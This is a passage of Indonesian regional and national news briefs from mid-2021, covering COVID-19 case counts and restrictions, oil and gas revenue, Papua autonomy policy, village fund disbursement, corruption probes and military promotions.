Maret 2020. Sedangkan pasien Corona yang dinyatakan sembuh hingga saat ini berjumlah 1.973.388 orang dan yang meninggal dunia sebanyak 62.908 orang. Pada Rabu (7/7/2021), ada penambahan 34.379 kasus baru Covid-19 yang merupakan rekor terbaru. Pemerintah sendiri telah menyiapkan skenario baru jika kasus harian penyebaran Covid-19 terus melonjak, yang memungkinkan mencapai 40 ribu per hari. Berdasarkan situs https://www.worldometers.info/coronavirus/, yang dilihat pada Selasa (6/7/2021), Indonesia di urutan teratas dengan penambahan sebanyak 31.189 kasus. Total kasus positif di Indonesia tercatat sebanyak 2.345.018. Setelah Indonesia Rusia berada di urutan kedua dengan penambahan kasus positif Covid-19 sebanyak 23.378 kasus dalam sehari. Kemudian disusul Iran dengan 16.080 kasus, dan Bangladesh di peringkat keempat dengan 11.525 kasus. (sws)

Industri Hulu Migas Sumbang Penerimaan Negara Rp96,7 Triliun

Jakarta, FNN - Kepala SKK Migas Dwi Soetjipto mengungkapkan penerimaan negara dari industri hulu minyak dan gas bumi mencapai 6,67 miliar dolar AS atau setara Rp96,7 triliun sepanjang semester I 2021. "Peneriman negara mencapai 667 miliar dolar AS atau ekuivalen sekitar 91 persen dari target 7,28 dolar AS," kata Dwi Soetjipto dalam konferensi pers virtual yang dipantau di Jakarta, Jumat. Jumlah penerima negera yang tinggi itu didukung harga minyak yang berangsur membaik setelah sempat jatuh saat pandemi merebak pada 2020 lalu. Harga Indonesian Crude Price (ICP) mencapai 70,23 dolar AS per barel pada Juni 2021. SKK Migas akan menggunakan momentum harga yang membaik itu untuk mendorong agar KKKS lebih agresif dalam merealisasikan kegiatan operasi hulu migas. Lebih lanjut Dwi menjelaskan penerimaan negara yang maksimal itu merupakan buah usaha hulu migas dalam mengoptimalkan kegiatan dan biaya, antara lain pemilihan prioritas kegiatan work order dan maintenance routine and inspection, efisiensi general administration khususnya akibat adanya pembatasan kegiatan. “Upaya ini berhasil membuat biaya per barel pada Semester I tahun 2021sebesar 12,17 dolar AS per BOE lebih rendah dibandingkan Semester I tahun 2020 sebesar 13,71 dolar AS per BOE,” jelas Dwi. Pada Semester I 2021, capaian lifting minyak dan gas bumi rata-rata sebesar 1,64 juta barel setara minyak per hari (MBOEPD) atau 95 persen dari target APBN yang ditetapkan untuk tahun ini sebesar 705 ribu BOPD, sedangkan lifting gas sebesar 5.430 MMSCFD dari target APBN sebesar 5.638 MMSCFD atau tercapai 96 persen. SKK Migas dan KKKS berkolaborasi merelaksasikan program Filling The Gap (FTG) untuk mengejar target lifting. Program itu telah memberikan tambahan minyak rata-rata 1.900 BOPD. "Tambahan ini diluar rencana tambahan yang direncanakan dalam work, program, and budget (WPB) 2021. Ke depan, kami akan meneruskan Program FTG dan juga mengajak KKKS untuk melakukan akselerasi WPB sehingga diharapkan bisa memenuhi target APBN 2021," tegas Dwi. Selain itu, SKK Migas juga melakukan berbagai usaha lain untuk mengejar capaian target, seperti mengupayakan tiga insentif hulu migas agar dapat disetujui oleh pemerintah. Ketiga insentif tersebut adalah tax holiday untuk pajak penghasilan di semua wilayah kerja migas, penyesuaian biaya pemanfaatan Kilang LNG Badak sebesar 0,22 dolar AS per MMBTU, dan dukungan dari kementerian yang membina industri pendukung hulu migas terhadap pembahasan pajak bagi usaha penunjang kegiatan hulu migas.(mth)

Anis Matta: Masalah COVID-19 Saat Ini Memiliki Dimensi Geopolitik yang Sangat Tinggi

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta mengatakan masalah COVID-19 saat ini memiliki dimensi geopolitik yang sangat tinggi karena kemungkinan terburuknya digunakan sebagai senjata biologi dalam konflik tersebut. "Kemungkinan yang buruk, yaitu COVID-19 ini juga digunakan menjadi senjata dalam konflik geopolitik," kata Anis Matta dalam keterangannya di Jakarta, Minggu. Anis Matta mengatakan COVID-19 ini datangnya dari China dan Indonesia juga menggunakan vaksin dari negara tersebut. Menurut dia, makna geopolitiknya adalah Indonesia sebagai korban dan pada waktu yang sama juga menjadi konsumen. Anis mengajak publik untuk mulai menyadari adanya perlombaan luar biasa dari empat kekuatan utama dunia, yaitu Amerika Serikat (AS), Eropa, Rusia, China dalam memproduksi vaksin. "Kita juga lihat di sini ada 'racing' atau perlombaan dari paling tidak empat kekuatan dunia yaitu, Amerika Serikat, Eropa, Rusia dan China dalam produksi vaksin," ujarnya. Namun, dia mengaku belum mengetahui apakah industri vaksin itu akan menjadi salah satu "leading" industri di masa yang akan datang. Karena itu, menurut dia, tidak begitu mengherankan apabila saat ini terjadi disinformasi luar biasa mengenai informasi COVID-19 yaitu informasi saintifik telah bercampur dengan informasi hoaks yang begitu cepat menyebar di masyarakat. "Misalnya tentang keburukan dan kelebihan dari tiap vaksin yang digunakan, karena ada instrumen pertarungan kepentingan global," katanya. (ant)

Peneliti: Peraturan Turunan UU Otsus Harus Perkuat Peran Gubernur

Jakarta, FNN - Peneliti Lembaga Ilmu Pengetahuan Indonesia (LIPI) Cahyo Pamungkas mengatakan peraturan turunan UU Otonomi Khusus (Otsus) Papua harus memperkuat peran dan kewenangan gubernur untuk memaksimalkan penerapan regulasi tersebut. “Pemerintah harus membuat peraturan pemerintah (PP) yang memperkuat kewenangan gubernur untuk menjalankan kekhususan UU Otsus Papua,” kata Cahyo di Jakarta, Jumat. Menurut Cahyo, Pemerintah bisa memberikan kewenangan yang besar pada gubernur untuk menyediakan fasilitas pelayanan publik hingga kewenangan mendirikan Komisi Kebenaran dan Rekonsiliasi. Pemerintah juga bisa memberikan kewenangan kepada gubernur berkaitan dengan hal-hal konkret lain yang mendukung pembangunan Papua, seperti membuat sekolah khusus pendidikan guru dan pelayanan kesehatan bergerak. Cahyo menambahkan, isu lain yang tak kalah penting adalah mengenai hak asasi manusia (HAM) yang selama ini menjadi isu krusial dalam dinamika sosial politik di Papua. Menurut dia, Pemerintah bisa memberi kewenangan dan kekuasaan kepada gubernur untuk menyelesaikan persoalan HAM, misalnya dengan cara membentuk Komnas HAM di Papua atau gubernur punya kewenangan untuk mendorong pengadilan HAM ataupun rekonsiliasi. Selain itu, menurut Cahyo, peran gubernur juga penting diarahkan untuk memastikan bahwa pelaksanaan UU Otsus Papua sesuai dengan aspirasi orang asli Papua, begitu juga keterkaitan lanjutan dengan bupati dan wali kota. Ia berpandangan hubungan yang saling bersinergi dengan baik di antara para pemangku kebijakan di Papua juga sangat dibutuhkan nantinya. “Intinya perlu ada koordinasi, kerja sama, dan sinergi di antara seluruh pemerintah daerah yang ada di Papua, bukan saling berkontestasi sendiri,” ujar Cahyo. (mth)

Masyarakat Walaik Jayapura Dambakan Listrik-Jalan Aspal

Wamena, FNN - Masyarakat Distrik Walaik Kabupaten Jayawijaya Provinsi Papua mendambakan tersedianya tenaga listrik PLN dan akses jalan yang layak atau jalan beraspal. Wakil Bupati Jayawijaya Marthin Yogobi di Walaik, Kabupaten Jayawijaya, Jumat, mengatakan aspirasi perbaikan jalan dan penyediaan listrik akan menjadi perhatian pemerintah karena masyarakat membutuhkan. "Perbaikan jalan penghubung, listrik, itu yang paling banyak mereka sampaikan. Bukan hanya di Walaik saja tetapi hampir semua distrik menyampaikan hal yang sama," katanya. Ia mengatakan aspirasi masyarakat ini akan dijawab secara bertahap sebab pemerintah tidak hanya melayani masyarakat satu distrik tertentu saja. "Kita di Jayawijaya ada 40 distrik dan semua perlu pelayanan pembangunan jadi tidak bisa pembangunan dilakukan dalam satu tahun," katanya. Dalam kunjungan itu juga masyarakat mengharapkan pemerintah memberikan dukungan peralatan pertanian dan bantuan ternak babi untuk mendukung perekonomian mereka. "Menyangkut kebun dan ternak itu kami menyanggupi untuk memberikan bantuan alat kerja, supaya mereka bisa tingkatkan kerja kebun di kampung supaya mereka tetap fokus dengan apa yang mereka miliki di kampung," katanya. Berdasarkan pantauan, seluruh perumahan warga di sekitaran pusat distrik belum menikmati listrik PLN layaknya di perkotaan. Selain itu, sekitar satu kilometer lebih jalan yang menghubungkan pusat distrik dengan jalan utama memang sangat tidak layak sehingga membutuhkan perbaikan dan perawatan. Selain berada di lereng bukit yang curam, ruas jalan ini tidak pernah diaspal dan hanya ditimbun dengan bebatuan besar sehingga perlu perhatian pemerintah. (mth)

PMD: 19 Desa Ajukan Pencairan Dana Desa Tahap II

Rejang Lebong, FNN - Dinas Pemberdayaan Masyarakat dan Desa (PMD) Kabupaten Rejang Lebong, Provinsi Bengkulu menyebutkan sebanyak 19 dari 122 desa yang ada di daerah itu telah mengajukan pencairan dana desa (DD) tahap II sebesar 40 persen. Sekretaris Dinas PMD Rejang Lebong Desma Heryana saat dihubungi di Rejang Lebong, Jumat, mengatakan jumlah desa yang mengajukan permintaan pencairan dana desa tahap II ini masih sedikit karena masing-masing desa masih melengkapi persyaratan berupa laporan tahapan penyaluran sebelumnya. "Sudah ada 19 desa yang mengajukan permintaan pencairan dana desa tahap II sebesar 40 persen, dalam minggu ini diperkirakan dananya sudah ditransfer ke rekening kas desa atau RKD masing-masing," kata dia. Dia mengatakan, pada pengurusan pencairan DD tahap II ini berdasarkan pedoman penyaluran dana desa 2021 masing-masing desa harus melampirkan dokumen persyaratan seperti laporan realisasi penyerapan dan pencapaian keluaran DD tahun anggaran (TA) 2020. Selanjutnya, laporan realisasi penyerapan dan capaian keluaran DD tahap I yang meliputi rata-rata realisasi penyerapan minimal 50 persen, rata-rata capaian keluaran minimal 35 persen. Kemudian, Perdes penetapan keluarga penerima manfaat (KPM) BLT desa 2021, berita acara (BA) konfirmasi dan rekonsiliasi sisa dana desa 2015-2019 di Pemda-KPPN. Serta surat pengantar dan daftar rincian desa yang dimintakan penyalurannya dari aplikasi OMSPAN. Persyaratan lainnya ialah peraturan kepala desa (Perkades) mengenai tidak terdapat calon KPM BLT desa yang memenuhi kriteria dan atau tidak tersedia cukup anggaran per bulannya, apabila tidak melaksanakan BLT 2020 selama 9 bulan. Dia mengimbau 108 desa lainnya yang belum mengajukan pencarian DD agar segera mengajukannya sehingga bisa cepat dicairkan untuk keperluan penanganan COVID-19 terutama penyaluran BLT dan kegiatan pembangunan lainnya. Sebelumnya pemerintah pusat mengucurkan dana desa untuk wilayah itu mencapai Rp114 miliar, di mana penerima tertinggi ialah Desa Lubuk Mumpo di Kecamatan Kota Padang sebesar Rp1.561.354.000 dan penerima DD terendah ialah Desa Kayu Manis Kecamatan Sindang Kelingi dengan besaran Rp663.809.000. Selain menerima DD yang bersumber dari APBN kedua desa ini juga menerima Alokasi Dana Desa (ADD) yang bersumber dari APBD Kabupaten Rejang Lebong 2021, untuk Desa Lubuk Mumpo sebesar Rp759.160.000, dan Desa Kayu Manis sebesar Rp364.793.900. (mth)

Kejati Bengkulu Geledah Kantor Dinas Perkebunan Bengkulu Utara

Bengkulu, FNN - Tim penyidik pidana khusus (pidsus) Kejaksaan Tinggi (Kejati) Bengkulu menggeledah kantor Dinas Perkebunan Kabupaten Bengkulu Utara, Provinsi Bengkulu dalam rangka penyidikan kasus dugaan korupsi replanting atau peremajaan kelapa sawit di daerah ini tahun 2019-2020. Asisten Pidana Khusus (Aspidsus) Kejati Bengkulu Pandoe Pramoe Kartika, di Bengkulu, Jumat, mengatakan penyidik menyita ratusan dokumen yang berkaitan dengan program replanting yang menelan biaya hingga Rp150 miliar dalam 12 koper. "Benar bahwa penyidik telah meningkatkan status kasus dugaan korupsi replanting kelapa sawit di Kabupaten Bengkulu Utara tahun 2019-2020 ke tahap penyidikan, dan kemarin kami sudah lakukan penggeledahan," kata Pandoe. Pandoe menyebut penggeledahan yang dilakukan itu dilakukan untuk melengkapi bukti dari alat bukti yang sudah dimiliki. Kemudian dokumen yang disita itu akan diperiksa dan diteliti oleh tim penyidik. Pandoe mengatakan pihaknya telah mengantongi bukti permulaan yang kuat dugaan terjadinya korupsi dalam program peremajaan sawit yang menelan biaya Rp150 miliar tersebut. Pandoe memastikan penyidik juga akan kembali melakukan penggeledahan ke sejumlah tempat lainnya yang berkaitan dengan kasus dugaan korupsi program peremajaan kelapa sawit di Kabupaten Bengkulu Utara. "Syukur para pihak ini kooperatif dan mau membantu penyidik mengumpulkan dokumen yang dibutuhkan. Kami ingin memastikan di situasi pandemi ini penegakan hukum tetap berjalan baik," ujarnya menegaskan. Sebelumnya, pada tahap penyelidikan, tim penyidik sudah meminta keterangan dari puluhan kelompok tani penerima program replanting sawit tahun 2019-2020 dan juga keterangan dari beberapa pejabat Dinas Perkebunan Kabupaten Bengkulu Utara. Hasil pemeriksaan itu diketahui jika masing-masing kelompok tani menerima bantuan peremajaan kelapa sawit sebesar Rp25 juta per hektare, sehingga jumlah dana yang diterima masing-masing kelompok tani berbeda beda tergantung luas lahan yang disetujui oleh Dirjen Perkebunan RI. Bibit sawit untuk program replanting yang dibagikan ke kelompok tani tersebut, dibeli dari sejumlah perusahaan sawit di Provinsi Bengkulu dan mereka nantinya juga akan kembali diperiksa sebagai saksi oleh tim penyidik. (sws)

Korlantas Polri Lakukan Penyekatan di 1.038 Titik jelang Idul Adha

Jakarta, FNN- Korps Lalu Lintas (Korlantas) Polri melakukan penyekatan di 1.038 titik jalur jalan wilayah Lampung, Jawa, dan Bali menjelang perayaan Idul Adha 1442 H, pada 20 Juli 2021. “Mulai tanggal 16 Juli 2021, kami mulai melakukan penyekatan, salah satunya di jalur tol di Kilometer 31 Cikarang yang mengarah keluar Jakarta serta Bali hingga Lampung," kata Kabag Ops Korlantas Polri Kombes Polisi Rudi Antariksa dalam keterangan tertulis di Jakarta, Jumat. Menurut Rudi, penyekatan perlu dilakukan untuk mengurangi penyebaran COVID-19. Selain itu, pihaknya memperkirakan bahwa akan ada lonjakan mobilitas di masyarakat pada tanggal tersebut. “Untuk mengantisipasi perjalanan masyarakat yang kita prediksi akan memanfaatkan waktu libur Idul Adha,” ujar Rudi Rudi menyatakan sejak tanggal 3 Juli 2021, pihaknya melakukan penyekatan dalam rangka pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat. Kendati demikian terdapat dua sektor yang dikecualikan dalam hal ini. “Kita ketahui bersama bahwa ini situasinya dalam PPKM darurat dimulai tanggal 3 Juli 2021 sehingga mobilitas masyarakat tidak boleh dilakukan kecuali di dua sektor, yakni kritikal dan esensial,” jelas Rudi. Rudi mengimbau masyarakat yang tidak memiliki syarat perjalanan untuk mengurungkan niatnya karena nanti pengendara tidak diperbolehkan melanjutkan perjalanan. “Apabila pelaku perjalanan yang tidak bisa menunjukkan syarat perjalanan seperti rapid tes antigen atau PCR dan tanda sudah vaksin atau sertifikat vaksin dan STRP maka yang bersangkutan akan kita putar balikkan,” kata Rudi. Rudi memastikan pihaknya akan tetap mengatur arus lalu lintas agar tidak menghambat kedua sektor yang masih tetap berjalan. Seperti diketahui, menjelang Idul Adha 1442 H/2021, Polri akan melakukan penyekatan sebanyak 1.038 titik, yaitu di Lampung, Jawa, dan Bali. Titik penyekatan berlangsung mulai 16-22 Juli 2021, berada di jalan tol, non-tol, dan pelabuhan. (sws)

Sahroni: Polri-TNI Awasi Ketat Distribusi 300 Ribu Paket Obat COVID-19

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Ahmad Sahroni meminta Polri-TNI ikut mengawasi secara ketat proses distribusi 300 ribut paket obat COVID-19 dan vitamin yang diinisiasi Presiden Joko Widodo sebagai upaya menekan laju penularan virus corona. "Jumlah paket obat yang dibagikan cukup banyak, tahap pertama mencapai 300.000 paket obat. Karena itu saya minta kepolisian bersama TNI agar mengawasi dengan ketat paket obat tersebut," kata Sahroni di Jakarta, Jumat. Dia meminta pembagian obat-obatan tersebut tetap diawasi dengan ketat dan dipastikan distribusinya berjalan dengan baik. Selain itu Sahroni meminta proses administrasi dipermudah sehingga bisa sampai pada warga yang benar-benar membutuhkan. "Proses distribusi paket obat COVID-19 itu harus diperhatikan dengan baik dan alurnya harus dipermudah atau dipersingkat agar sampai kepada para pasien positif tepat waktu," ujarnya. Sahroni mengapresiasi pemerintah yang telah meluncurkan 300 ribu paket obat COVID-19 dan vitamin secara gratis kepada penderita COVID-19 yang sedang menjalani isolasi mandiri (isoman). Menurut dia, kebijakan tersebut merupakan suatu langkah positif pemerintah karena banyak warga yang terpaksa menjalani isoman karena tidak terlayani di rumah sakit. "Ini langkah yang positif karena kita tahu bahwa makin banyak warga yang meninggal saat isoman. Jadi pembagian obat-obatan ini diharapkan bisa menjadi solusi bagi warga yang tidak tertangani rumah sakit," katanya. Politisi Partai NasDem itu berharap program tersebut bisa mengurangi jumlah kematian warga ketika sedang menjani isoman akibat terpapar COVID-19. Menurut dia, fenomena warga yang meninggal saat isoman sangat menyedihkan karena belum maksimalnya intervensi medis yang didapatkan para korban. “Kalau sampai meninggal ketika isoman, itu berarti mereka belum sempat mendapat perawatan medis di rumah sakit, dan ini yang sangat disayangkan. Karena itu semoga obat-obatan ini bisa menjadi solusi," ujarnya. (sws)

Kejari Manggarai Barat Sita Rp1,2 Miliar Dugaan Korupsi Aset Pemda

Kupang, FNN - Tim penyidik tindak pidana khusus Kejaksaan Negeri (Kejari) Manggarai Barat menyita uang sebesar Rp1,2 miliar terkait kasus dugaan korupsi pengelolaan aset milik Pemkab Manggarai Barat di Desa Batu Cermin, Kecamatan Komodo seluas 3,3 hektare. Kepala Kejari Manggarai Barat Bambang Dwi Murcolono, saat dihubungi dari Kupang, Jumat, mengatakan bahwa sejumlah uang itu disita dari para saksi dalam kasus itu. 'Sejumlah uang ini kami sita dari saksi dalam penyelidikan kasus dugaan korupsi pengelolaan aset milik Pemkab Manggarai Barat tahun 2012 itu," katanya pula. Bambang mengatakan bahwa ada 40 orang saksi yang diperiksa dari dugaan kasus korupsi itu, namun uang senilai Rp1,2 miliar itu tidak semuanya disita dari 40 saksi tersebut. Ia menambahkan dalam kasus ini juga, pihak kejari masih terus melakukan penyelidikan, sehingga khusus untuk tersangka belum bisa ditetapkan oleh pihak penyidik Kejari Manggarai Barat. Namun, ujar dia lagi, dalam waktu tidak lama lagi, pihaknya akan segera menyampaikan atau mengumumkan ke publik soal siapa saja tersangka dari dugaan kasus korupsi lahan di Manggarai Barat itu. "Siapa-siapa saja yang jadi tersangka, kami masih dalam tahapan penyelidikan, mungkin dalam waktu dekat ini akan segera kami sampaikan ke publik agar masyarakat bisa tahu," ujarnya lagi. Dalam kasus ini, sudah beberapa orang saksi yang diperiksa, mulai dari salah seorang anggota DPRD Manggarai Barat serta sejumlah aparatur sipil negara (ASN) Pemkab Manggarai Barat. (sws)

Kasad: Perwira Tinggi yang Terima Kenaikan Pangkat Bekerja Profesional

Jakarta, FNN - Kepala Staf Angkatan Darat Jenderal TNI Andika Perkasa mengharapkan sebanyak 17 perwira tinggi yang mendapatkan kenaikan pangkat dan jabatan baru di satuan TNI Angkatan Darat bisa bekerja secara profesional. "Termasuk menyukseskan visi dan misi TNI Angkatan Darat dan menjadikan TNI AD lebih baik lagi," kata Kasad Jenderal TNI Andika Perkasa dalam siaran TNI AD diterima di Jakarta, Jumat. Kasad Jenderal TNI Andika Perkasa memimpin upacara korps kenaikan pangkat 17 perwira tinggi di Markas Besar Angkatan Darat. Dari 17 Pati yang naik pangkat tersebut, Mayjen TNI Budi Pramono menjadi salah satu perwira tinggi yang mendapat kepercayaan dinaikkan pangkat satu tingkat lebih tinggi dan mengemban tugas baru sebagai Perwira Staf Ahli Tingkat III Bidang Sosial Budaya, Hukum, HAM, dan Narkoba pada Panglima TNI. Lulusan Akademi Militer 1988 itu memiliki latar belakang karir militer intelijen cukup banyak. Mayjen TNI Budi Pramono pernah bertugas di Atase Pertahanan Negara Iran selama 3 tahun. Pada awal kepemimpinannya, ia akan menekankan tentang pentingnya hak asasi manusia pada era globalisasi seperti sekarang. Kemudian, Mayjen TNI Budi Pramono mengingatkan prajurit agar selalu teguh terhadap tiga pilar penting dalam mengemban tugas sebagai prajurit TNI AD. “TNI Angkatan Darat bagi saya benar-benar menjadikan disiplin adalah napas kita, dan kesetiaan adalah kebanggaan, dan yang paling terakhir kehormatan adalah segala-galanya, maka kalau 3 pilar ini kita tanamkan di dada, hati sanubari kita sebagai prajurit, saya yakin dan percaya, 'together we can',” katanya. (sws)

Pengamat Apresiasi Alih Fungsi Fasilitas Kemhan Jadi RS COVID-19

Jakarta, FNN - Pengamat militer Institute for Security and Strategic Studies (​ISESS) Khairul Fahmi mengapresiasi langkah Kementerian Pertahanan (Kemhan) yang mengalihfungsikan fasilitasnya menjadi rumah sakit darurat penanganan COVID-19. "Sejak awal pandemi saya sebenarnya sudah menyarankan mobilisasi sumber daya maupun sarana prasarana nasional sebagai solusi dan antisipasi kebutuhan dalam keadaan darurat," kata dia saat dihubungi di Jakarta, Jumat. Saat ini, menurut dia, persoalan yang dihadapi dalam penanganan COVID-19 tidak sekadar infrastruktur, tetapi juga tenaga kesehatan. "Ini yang perlu solusi lain, seperti mobilisasi sumber daya manusia supaya tenaga kesehatan benar-benar fokus pada penanganan pasien, tidak lagi direpotkan oleh persoalan administratif dan lain-lain," ujar Khairul Fahmi. Kemhan, lanjut dia, dapat melakukannya dengan memobilisasi komponen pendukung pertahanan nasional. Hal tersebut tertuang dalam Undang-Undang Nomor 23 Tahun 2019 tentang Pengelolaan Sumber Daya Nasional untuk Pertahanan Nasional (UU PSDN). Senada dengan itu, Peneliti Senior Marapi Consulting and Advisory Beni Sukadis mendukung penuh langkah Prabowo yang memutuskan mengubah lokasi-lokasi Pusat Pendidikan dan Pelatihan (Pusdiklat) Kemhan menjadi rumah sakit darurat pasien COVID-19. Pembukaan rumah sakit darurat bisa membantu kekurangan tempat tidur atau fasilitas kesehatan yang mengalami tekanan akibat melonjaknya penderita COVID-19. Selain menambah fasilitas kesehatan darurat, Kemhan perlu memastikan tenaga kesehatan. Saat ini, sejumlah fasilitas Kemhan dialihfungsikan menjadi RS darurat COVID-19 yaitu Gedung Pusdiklat Manajemen Pertahanan (Jemenhan) dan Pusdiklat Bahasa di Pondok Labu Jakarta Selatan. Ada pun Badiklat Kemhan Salemba Jakarta Pusat, Pusdiklat Bela Negara di Rumpin Bogor dan mess stand by force di IPSC Sentul Bogor akan dijadikan lokasi RS darurat. Dengan demikian ada total 1.650 tempat tidur tambahan bagi pasien COVID-19 se-Jabodetabek. Fasilitas tambahan ini dapat dimanfaatkan untuk merawat pasien COVID-19 bergejala sedang dan dilengkapi tenaga kesehatan seperti dokter umum, dokter spesialis penyakit dalam, dokter spesialis paru, dan dokter anestesi. Untuk tenaga kesehatan tambahan, Kemhan telah mengerahkan komponen pendukung yang telah memiliki keahlian yakni dokter umum, perawat, apoteker, pranata laboratorium, radiografer, dan lain-lain. Sebelumnya, Menteri Pertahanan Prabowo Subianto mengatakan bahwa para komponen pendukung kesehatan tersebut sudah bekerja di fasilitas kesehatan yang ada lebih dari satu tahun. (sws)

Tiga Pilar Banjarmasin Tengah Sosialisasi 5M Cegah Lonjakan COVID-19

Banjarmasin, FNN - Tiga Pilar Banjarmasin Tengah yang terdiri dari pihak kecamatan, Koramil Banjarmasin Barat dan Tengah serta Polsek Banjarmasin Tengah bersama-sama melakukan sosialisasi 5M kepada warga setempat guna mengantisipasi terjadinya lonjakan virus COVID-19. "Sosialisasi 5M yang kami sampaikan kepada warga, di antaranya memakai masker saat di luar rumah, mencuci tangan pakai sabun, menjaga jarak, menghindari kerumunan dan mengurangi mobilitas," ucap Camat Banjarmasjn Tengah Dr H Diyanoor MA di Banjarmasin, Jumat. Dikatakannya, sosialisasi ini perlu dilakukan karena saat ini kasus terpapar COVID-19 terus meningkat sehingga warga diminta terus waspada dan menjaga diri serta keluarga. Bukan itu saja, Tiga Pilar Kecamatan dan juga pemerintah daerah sudah melakukan antisipasi jika terjadi lonjakan pandemi atau semakin banyaknya warga yang terpapar COVID-19 yang sudah mulai bermutasi lebih cepat. Untuk itulah perlu menjadi perhatian semua pihak dengan terus meningkatkan koordinasi dan saling sinergi guna bisa berkontribusi sesuai bidang masing-masing terutama upaya mengedukasi masyarakat di lingkungan sekitar. Camat berharap kegiatan mengedukasi dan sosialisasi 5M terus digalakkan di semua tingkatan dan dilakukan secara rutin untuk menjaga kualitas lingkungan yang semakin baik. Dalam kesempatan itu pihaknya juga melakukan kerja bakti bersama, bersih-bersih sekitar ruangan balai pelatihan kesejahteraan sosial baik di dalam maupun di luar ruangan, taman-taman dan tanaman yang ada di sana dibersihkan sehingga terlihat rapi dan nyaman dipandang. "Ruangan Balai Pelatihan Kesejahteraan Sosial itu disiapkan sebagai salah satu tempat untuk karantina atau isolasi jika kasus positif COVID-19 semakin banyak di Banjarmasin," ujar Camat didampingin Kapolsek Banjarmasin Tengah Kompol Susilo dan Danramil Banjarmasin Barat dan Tengah Mayor Tjandra Wideru. Kegiatan bersih-bersih itu dilakukan pada Jumat (16/7) pagi berlokasi di halaman Balai Besar Kesejahteraan Sosial di Jalan Batu Besar tepatnya di belakang SMAN 2 Banjarmasin. Kegiatan itu juga dibantu oleh para lurah dan ASN se Kecamatan Banjarmasin Tengah serta tindak ketinggalan Satgas kebersihan dan dibantu oleh warga sekitar dalam melaksanakan kerja bakti bersama. (sws)

Warga Kota Solok Terinfeksi Positif COVID-19 Bertambah 51 Orang

Solok, FNN - Sebanyak 51 warga Kota Solok, Sumatera Barat dinyatakan terkonfirmasi positif COVID-19 bertambah 51 kasus sehingga menjadi 1.482 orang. Kabag Protokol dan Komunikasi Pimpinan (Prokomp) Kota Solok Nurzal Gustim di Solok, Jumat mengatakan penambahan kasus terkonfirmasi positif COVID-19 dari pemeriksaan sampel yang dikirim oleh Posko COVID-19 Banda Panduang ke laboratorium Fakultas Kedokteran Unand. "Selain itu, juga terdapat 18 orang pasien yang dinyatakan sembuh dari COVID-19," kata dia. Berdasarkan penambahan kasus tersebut, ia menyebutkan sampai saat ini komposisi perkembangan kasus COVID-19 di Kota Solok, yakni 1.482 orang yang terdiri atas sembuh bertambah menjadi 1.271 orang, isolasi di RST enam orang, isolasi di RSUD M Natsir delapan orang, isolasi di RS UNAND satu orang, isolasi mandiri 165 orang, dan meninggal 31 orang. "Setelah dilakukan penelusuran (tracing) oleh tim surveilans, 49 pasien positif COVID-19 tengah menjalani isolasi mandiri dan dua orang lainnya dirawat di rumah sakit," kata dia. Menurut Nurzal berdasarkan penambahan kasus positif COVID-19 yang terus meningkat di kota itu tentunya perlu menjadi perhatian serius semua pihak serta kesadaran bersama agar selalu mematuhi protokol kesehatan. Ia mengimbau seluruh elemen dan lapisan masyarakat agar dapat mematuhi dan melaksanakan dengan penuh kesadaran serta tanggung jawab terkait pengetatan PPKM Mikro tersebut. "Hal itu bertujuan untuk mencegah semakin parahnya penyebaran COVID-19 di Kota Solok, Kota Beras Serambi Madinah yang kita cintai ini," kata dia. Nurzal juga mengimbau masyarakat agar senantiasa menjaga daya tahan tubuh dengan menerapkan pola hidup bersih dan sehat, makan makanan bergizi, istirahat yang cukup serta mengikuti anjuran pemerintah dalam menjalani protokol kesehatan. Di samping itu, Plt Kepala Dinas Kesehatan Kota Solok Ardinal mengimbau masyarakat agar tidak perlu cemas terkait banyaknya pasien positif COVID-19 yang menjalani isolasi mandiri di rumah. "InsyaAllah aman karena dijaga sangat ketat oleh tim Satgas COVID-19," ujar dia. Selain itu, di setiap rumah warga yang menjalani isolasi mandiri dipasangkan stiker bahwa di rumah ada pasien yang COVID-19. Mereka tidak boleh keluar rumah sampai hasil pemeriksaan tes usap negatif, kecuali hanya untuk berjemur. Selain itu, rumah mereka selalu disemprotkan disinfektan. Setiap pasien positif COVID-19 itu akan dikunjungi oleh tim Satgas sebanyak 26 orang dan diutus masing-masing dua orang per kelurahan dari Babinsa dan Babinkantibmas untuk menelusuri kontak erat pasien positif tersebut dan dilaporkan ke tenaga surveilans di setiap Puskesmas. (sws)

Tim Gabungan Lakukan Tes PCR kepada Karyawan Restoran di Gorontalo

Gorontalo, FNN - Tim gabungan dari Polres Gorontalo Kota, TNI, Dinas Kesehatan, Puskesmas Kota Barat dan Satpol PP melakukan tes Polymerase Chain Reaction (PCR) kepada karyawan salah satu restoran di Kota Gorontalo, Provinsi Gorontalo, Jumat. Kapolres Gorontalo Kota AKBP Suka Irawanto pada kegiatan itu mengatakan hal itu dilakukan usai tiga warga yang merayakan acara ulang tahun di restoran itu dinyatakan positif COVID-19. "Kami melacak tiga orang yang hasil PCR mereka dinyatakan positif COVID-19," ujar AKBP Suka Irawanto. Sebanyak 22 karyawan akan diperiksa dan menjalani tes PCR oleh Satgas COVID-19. "Jadi upaya dari TNI, Polri apabila terdapat dari karyawan karyawati kafe ini dinyatakan positif maka akan menutup sementara sampai dengan pembersihan," ucapnya. Hal tersebut menurut Kapolres dilakukan untuk mengantisipasi penyebaran COVID-19 yang ada di wilayah atau di luar ruangan restoran itu. "Jadi apabila kita temukan ada yang positif maka kami akan melakukan pelacakan kepada keluarga daripada karyawan karyawati yang ada di kafe ini," ungkapnya. Kapolres menambahkan, saat ini tiga warga positif COVID-19 tersebut telah diisolasi secara terpusat di Hotel Eljie Kota Gorontalo. "Apabila mereka telah sembuh, kami akan memanggil yang bersangkutan untuk mempertanggungjawabkan perbuatan mereka," kata Kapolres. (sws)

Kasad Tekankan ke Jajaran agar Program Komcad Terlaksana dengan Baik

